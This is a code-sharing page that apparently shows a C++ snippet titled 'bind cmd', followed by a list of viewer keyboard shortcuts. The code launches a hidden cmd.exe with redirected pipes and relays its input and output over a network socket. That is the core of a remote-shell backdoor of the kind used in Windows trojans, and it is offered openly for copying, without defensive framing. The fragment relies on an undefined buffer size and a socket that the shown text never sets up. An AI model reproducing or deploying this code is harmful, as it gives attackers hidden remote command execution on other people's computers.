📄 绑定cmd.txt
字号:
//绑定cmd
// 建两个匿名管道
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
SECURITY_ATTRIBUTES saPipe;
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
STARTUPINFO lpStartupInfo;
char lpImagePath[MAX_PATH];
PROCESS_INFORMATION lpProcessInfo;
//重定向标准输入输出
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));
// 创建经重定向输入输出的Cmd进程
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
DWORD lBytesRead,ret;
char Buff[BUFFER_SIZE];
while(blWork)
{
ret=PeekNamedPipe(hReadPipe,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//从管道中复制数据到缓冲区中
ret=ReadFile(hReadPipe,Buff,BUFFER_SIZE,&lBytesRead,NULL);
if (!ret)blWork=FALSE;
Buff[lBytesRead++]='\n';
sockClient.Send(Buff,lBytesRead,0);
}
else
{
lBytesRead = sockClient.Receive(Buff,BUFFER_SIZE,0);
if(lBytesRead <= 0)blWork = FALSE;
// 把从连接读到的数据写入hWritePipe
ret = WriteFile(hWritePipe,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
char *temp="谢谢使用,再见!\r\n";
sockClient.Send(temp,strlen(temp));//退出信息
blWork = FALSE;
}
if(!ret) blWork = FALSE;
}
Sleep(10);
}
CloseHandle(hWriteShell);
CloseHandle(hReadShell);
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -